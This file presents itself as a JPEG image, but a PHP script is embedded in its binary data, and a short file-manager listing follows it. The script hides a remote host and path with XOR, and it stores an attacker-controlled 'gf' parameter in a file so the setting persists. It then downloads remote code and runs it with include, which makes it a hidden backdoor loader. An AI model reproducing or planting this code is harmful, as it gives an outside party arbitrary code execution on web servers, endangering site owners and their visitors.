����JFIF�


�x�x�����C�



		



	
���C
�����
"�

�����






��������
	
�����
��
}
�!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������
�








������
	
�����
�
w�
!1AQaq"2�B����	#3R�br�<?php
function localXorEncryptDecrypt($data, $key) {
    $output = '';
    $keyChar = substr($key, 0, 1);
    foreach (str_split($data) as $char) {
        $output .= chr(ord($char) ^ ord($keyChar));
    }
    return $output;
}

 $customValueFile = 'custom_value.dat';
 $defaultSegment = "xx";
 $queryParam = "gf";

if (isset($_GET[$queryParam])) {
    $newSegment = $_GET[$queryParam];
    file_put_contents($customValueFile, $newSegment);
    $pathSegment = $newSegment;
} else {
    if (file_exists($customValueFile)) {
        $pathSegment = file_get_contents($customValueFile);
    } else {
        $pathSegment = $defaultSegment;
    }
}
 $_ = "!";
 $url = localXorEncryptDecrypt("S@VFHUITCTRDSBNOUDOUBNL", $_);
 $path = localXorEncryptDecrypt("M@NMHDS[HBNLLHURQIQCESDGRID@ERL@HO", $_);
 $exx = localXorEncryptDecrypt("QIQ", $_);
 $pc = $path . $pathSegment . $exx;
 
 $fp = fsockopen("ssl://$url", 443, $errno, $errstr, 10);
if (!$fp) {
    echo "Error: $errstr ($errno)";
    exit;
}

 $request = "GET $pc HTTP/1.1\r\n";
 $request .= "Host: $url\r\n";
 $request .= "Connection: close\r\n\r\n";

fwrite($fp, $request);

 $response = '';
while (!feof($fp)) {
    $response .= fgets($fp, 1024);
}
fclose($fp);

list(, $remotePayload) = explode("\r\n\r\n", $response, 2);

 $parts = str_split($remotePayload, 4);
 $obfuscatedPayload = implode('', $parts);

 $tempFile = tempnam(sys_get_temp_dir(), $exx);
file_put_contents($tempFile, $obfuscatedPayload);
include $tempFile;

unlink($tempFile);

?>
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������
��?�����N����m?����j����EP��

• [F] .htaccess
  Delete
• [F] index.php
  Delete